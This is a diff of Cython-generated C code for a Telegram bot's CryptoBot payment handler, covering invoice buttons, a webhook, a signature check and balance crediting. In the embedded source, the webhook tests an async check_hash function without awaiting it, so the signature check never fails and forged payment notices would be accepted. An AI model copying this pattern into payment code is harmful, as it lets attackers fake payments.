<<<<<<<<<<<<<< - * ) - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 122, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L17_error) @@ -6061,13 +5511,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":124 - * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) - * ) - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< - * await callback_query.message.answer( - * text=f" {amount} . {usdt_amount} USDT.", - */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 124, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 124, __pyx_L17_error) @@ -6105,26 +5548,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":125 - * ) - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=f" {amount} . {usdt_amount} USDT.", - * reply_markup=builder.as_markup(), - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 125, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":126 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) - * await callback_query.message.answer( - * text=f" {amount} . {usdt_amount} USDT.", # <<<<<<<<<<<<<< - * reply_markup=builder.as_markup(), - * ) - */ __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_11 = PyTuple_New(5); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 126, __pyx_L17_error) @@ -6165,13 +5594,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 126, __pyx_L17_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":127 - * await callback_query.message.answer( - * text=f" {amount} . {usdt_amount} USDT.", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * else: - */ __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 127, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_13 = NULL; @@ -6199,13 +5621,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_1) < 0) __PYX_ERR(0, 126, __pyx_L17_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":125 - * ) - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=f" {amount} . {usdt_amount} USDT.", - * reply_markup=builder.as_markup(), - */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -6245,23 +5660,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } } - /* "handlers/payments/cryprobot_pay.py":119 - * ) - * - * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row( - */ goto __pyx_L24; } - /* "handlers/payments/cryprobot_pay.py":130 - * ) - * else: - * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< - * except Exception as e: - * logger.error(f" : {e}") - */ /*else*/ { __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 130, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); @@ -6327,13 +5728,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } __pyx_L24:; - /* "handlers/payments/cryprobot_pay.py":109 - * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) - * - * try: # <<<<<<<<<<<<<< - * usdt_amount = -(-amount // RUB_TO_USDT) - * invoice = await crypto.create_invoice( - */ } __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; @@ -6347,13 +5741,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":131 - * else: - * await callback_query.message.answer(" .") - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * - */ __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_10) { __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -6366,13 +5753,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_cur_scope->__pyx_v_e = __pyx_t_5; /*try:*/ { - /* "handlers/payments/cryprobot_pay.py":132 - * await callback_query.message.answer(" .") - * except Exception as e: - * logger.error(f" : {e}") # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_logger); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 132, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_error); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 132, __pyx_L32_error) @@ -6409,13 +5789,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } - /* "handlers/payments/cryprobot_pay.py":131 - * else: - * await callback_query.message.answer(" .") - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -6466,13 +5839,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } goto __pyx_L19_except_error; - /* "handlers/payments/cryprobot_pay.py":109 - * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) - * - * try: # <<<<<<<<<<<<<< - * usdt_amount = -(-amount // RUB_TO_USDT) - * invoice = await crypto.create_invoice( - */ __pyx_L19_except_error:; __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_8); @@ -6488,13 +5854,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/cryprobot_pay.py":89 - * - * - * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -6521,13 +5880,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/cryprobot_pay.py":136 - * - * - * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< - * try: - * if not check_hash(request): - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook(PyObject *__pyx_self, @@ -6704,13 +6056,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 136, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":137 - * - * async def cryptobot_webhook(request): - * try: # <<<<<<<<<<<<<< - * if not check_hash(request): - * logger.warning( - */ { __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); @@ -6718,13 +6063,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { - /* "handlers/payments/cryprobot_pay.py":138 - * async def cryptobot_webhook(request): - * try: - * if not check_hash(request): # <<<<<<<<<<<<<< - * logger.warning( - * " hash cryptobot" - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_check_hash); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 138, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; @@ -6754,13 +6092,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_t_9 = (!__pyx_t_8); if (__pyx_t_9) { - /* "handlers/payments/cryprobot_pay.py":139 - * try: - * if not check_hash(request): - * logger.warning( # <<<<<<<<<<<<<< - * " hash cryptobot" - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 139, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_warning); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 139, __pyx_L4_error) @@ -6790,13 +6121,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/cryprobot_pay.py":142 - * " hash cryptobot" - * ) - * return web.Response(status=400) # <<<<<<<<<<<<<< - * - * data = await request.json() - */ __Pyx_XDECREF(__pyx_r); __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 142, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); @@ -6814,22 +6138,8 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; goto __pyx_L8_try_return; - /* "handlers/payments/cryprobot_pay.py":138 - * async def cryptobot_webhook(request): - * try: - * if not check_hash(request): # <<<<<<<<<<<<<< - * logger.warning( - * " hash cryptobot" - */ } - /* "handlers/payments/cryprobot_pay.py":144 - * return web.Response(status=400) - * - * data = await request.json() # <<<<<<<<<<<<<< - * logger.info(f" : {data}") - * if data.get("update_type") == "invoice_paid": - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 144, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; @@ -6891,13 +6201,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_cur_scope->__pyx_v_data = __pyx_t_5; __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":145 - * - * data = await request.json() - * logger.info(f" : {data}") # <<<<<<<<<<<<<< - * if data.get("update_type") == "invoice_paid": - * await process_crypto_payment(data["payload"]) - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 145, __pyx_L4_error) @@ -6933,13 +6236,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":146 - * data = await request.json() - * logger.info(f" : {data}") - * if data.get("update_type") == "invoice_paid": # <<<<<<<<<<<<<< - * await process_crypto_payment(data["payload"]) - * return web.Response(status=200) - */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 146, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_10 = NULL; @@ -6968,13 +6264,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__pyx_t_9) { - /* "handlers/payments/cryprobot_pay.py":147 - * logger.info(f" : {data}") - * if data.get("update_type") == "invoice_paid": - * await process_crypto_payment(data["payload"]) # <<<<<<<<<<<<<< - * return web.Response(status=200) - * else: - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_process_crypto_payment); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 147, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_payload); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 147, __pyx_L4_error) @@ -7037,13 +6326,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ } } - /* "handlers/payments/cryprobot_pay.py":148 - * if data.get("update_type") == "invoice_paid": - * await process_crypto_payment(data["payload"]) - * return web.Response(status=200) # <<<<<<<<<<<<<< - * else: - * logger.warning( - */ __Pyx_XDECREF(__pyx_r); __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 148, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); @@ -7061,22 +6343,8 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; goto __pyx_L8_try_return; - /* "handlers/payments/cryprobot_pay.py":146 - * data = await request.json() - * logger.info(f" : {data}") - * if data.get("update_type") == "invoice_paid": # <<<<<<<<<<<<<< - * await process_crypto_payment(data["payload"]) - * return web.Response(status=200) - */ } - /* "handlers/payments/cryprobot_pay.py":150 - * return web.Response(status=200) - * else: - * logger.warning( # <<<<<<<<<<<<<< - * f" : {data.get('update_type')}" - * ) - */ /*else*/ { __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 150, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); @@ -7084,13 +6352,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":151 - * else: - * logger.warning( - * f" : {data.get('update_type')}" # <<<<<<<<<<<<<< - * ) - * return web.Response(status=400) - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 151, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_11 = NULL; @@ -7146,13 +6407,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ } __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - /* "handlers/payments/cryprobot_pay.py":153 - * f" : {data.get('update_type')}" - * ) - * return web.Response(status=400) # <<<<<<<<<<<<<< - * except Exception as e: - * logger.error(f" : {e}") - */ __Pyx_XDECREF(__pyx_r); __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_web); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 153, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); @@ -7171,13 +6425,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ goto __pyx_L8_try_return; } - /* "handlers/payments/cryprobot_pay.py":137 - * - * async def cryptobot_webhook(request): - * try: # <<<<<<<<<<<<<< - * if not check_hash(request): - * logger.warning( - */ } __pyx_L4_error:; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -7186,13 +6433,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/cryprobot_pay.py":154 - * ) - * return web.Response(status=400) - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * return web.Response(status=500) - */ __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_12) { __Pyx_AddTraceback("handlers.payments.cryprobot_pay.cryptobot_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -7205,13 +6445,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_cur_scope->__pyx_v_e = __pyx_t_10; /*try:*/ { - /* "handlers/payments/cryprobot_pay.py":155 - * return web.Response(status=400) - * except Exception as e: - * logger.error(f" : {e}") # <<<<<<<<<<<<<< - * return web.Response(status=500) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 155, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 155, __pyx_L19_error) @@ -7247,13 +6480,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/cryprobot_pay.py":156 - * except Exception as e: - * logger.error(f" : {e}") - * return web.Response(status=500) # <<<<<<<<<<<<<< - * - * - */ __Pyx_XDECREF(__pyx_r); __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 156, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_4); @@ -7275,13 +6501,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ goto __pyx_L18_return; } - /* "handlers/payments/cryprobot_pay.py":154 - * ) - * return web.Response(status=400) - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * return web.Response(status=500) - */ /*finally:*/ { __pyx_L19_error:; /*exception exit:*/{ @@ -7352,13 +6571,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ } goto __pyx_L6_except_error; - /* "handlers/payments/cryprobot_pay.py":137 - * - * async def cryptobot_webhook(request): - * try: # <<<<<<<<<<<<<< - * if not check_hash(request): - * logger.warning( - */ __pyx_L6_except_error:; __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); @@ -7380,13 +6592,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/cryprobot_pay.py":136 - * - * - * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< - * try: - * if not check_hash(request): - */ /* function exit code */ __pyx_L1_error:; @@ -7411,13 +6616,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ } static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/cryprobot_pay.py":159 - * - * - * async def check_hash(request): # <<<<<<<<<<<<<< - * body_text = await request.text() - * crypto_pay_signature = request.headers.get( - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_10check_hash(PyObject *__pyx_self, @@ -7574,13 +6772,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 159, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":160 - * - * async def check_hash(request): - * body_text = await request.text() # <<<<<<<<<<<<<< - * crypto_pay_signature = request.headers.get( - * "Crypto-Pay-Api-Signature", "No value" - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; @@ -7627,13 +6818,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx __pyx_cur_scope->__pyx_v_body_text = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":161 - * async def check_hash(request): - * body_text = await request.text() - * crypto_pay_signature = request.headers.get( # <<<<<<<<<<<<<< - * "Crypto-Pay-Api-Signature", "No value" - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_headers); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L1_error) @@ -7646,13 +6830,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx __pyx_cur_scope->__pyx_v_crypto_pay_signature = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":164 - * "Crypto-Pay-Api-Signature", "No value" - * ) - * return crypto.check_signature( # <<<<<<<<<<<<<< - * body_text=body_text, crypto_pay_signature=crypto_pay_signature - * ) - */ __Pyx_XDECREF(__pyx_r); __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); @@ -7660,25 +6837,11 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":165 - * ) - * return crypto.check_signature( - * body_text=body_text, crypto_pay_signature=crypto_pay_signature # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_body_text, __pyx_cur_scope->__pyx_v_body_text) < 0) __PYX_ERR(0, 165, __pyx_L1_error) if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_crypto_pay_signature, __pyx_cur_scope->__pyx_v_crypto_pay_signature) < 0) __PYX_ERR(0, 165, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":164 - * "Crypto-Pay-Api-Signature", "No value" - * ) - * return crypto.check_signature( # <<<<<<<<<<<<<< - * body_text=body_text, crypto_pay_signature=crypto_pay_signature - * ) - */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -7688,13 +6851,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx goto __pyx_L0; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/cryprobot_pay.py":159 - * - * - * async def check_hash(request): # <<<<<<<<<<<<<< - * body_text = await request.text() - * crypto_pay_signature = request.headers.get( - */ /* function exit code */ __pyx_L1_error:; @@ -7715,13 +6871,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx } static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/cryprobot_pay.py":169 - * - * - * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< - * if payload["status"] == "paid": - * custom_payload = payload["payload"] - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_13process_crypto_payment(PyObject *__pyx_self, @@ -7900,39 +7049,18 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 169, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":170 - * - * async def process_crypto_payment(payload): - * if payload["status"] == "paid": # <<<<<<<<<<<<<< - * custom_payload = payload["payload"] - * user_id_str, amount_str = custom_payload.split(":") - */ __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payload, __pyx_n_u_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_paid, Py_EQ)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - /* "handlers/payments/cryprobot_pay.py":171 - * async def process_crypto_payment(payload): - * if payload["status"] == "paid": - * custom_payload = payload["payload"] # <<<<<<<<<<<<<< - * user_id_str, amount_str = custom_payload.split(":") - * try: - */ __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payload, __pyx_n_u_payload); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_custom_payload = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":172 - * if payload["status"] == "paid": - * custom_payload = payload["payload"] - * user_id_str, amount_str = custom_payload.split(":") # <<<<<<<<<<<<<< - * try: - * user_id = int(user_id_str) - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_custom_payload, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; @@ -8010,13 +7138,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_4; __pyx_t_4 = 0; - /* "handlers/payments/cryprobot_pay.py":173 - * custom_payload = payload["payload"] - * user_id_str, amount_str = custom_payload.split(":") - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id_str) - * amount = int(amount_str) - */ { __Pyx_ExceptionSave(&__pyx_t_8, &__pyx_t_9, &__pyx_t_10); __Pyx_XGOTREF(__pyx_t_8); @@ -8024,39 +7145,18 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __Pyx_XGOTREF(__pyx_t_10); 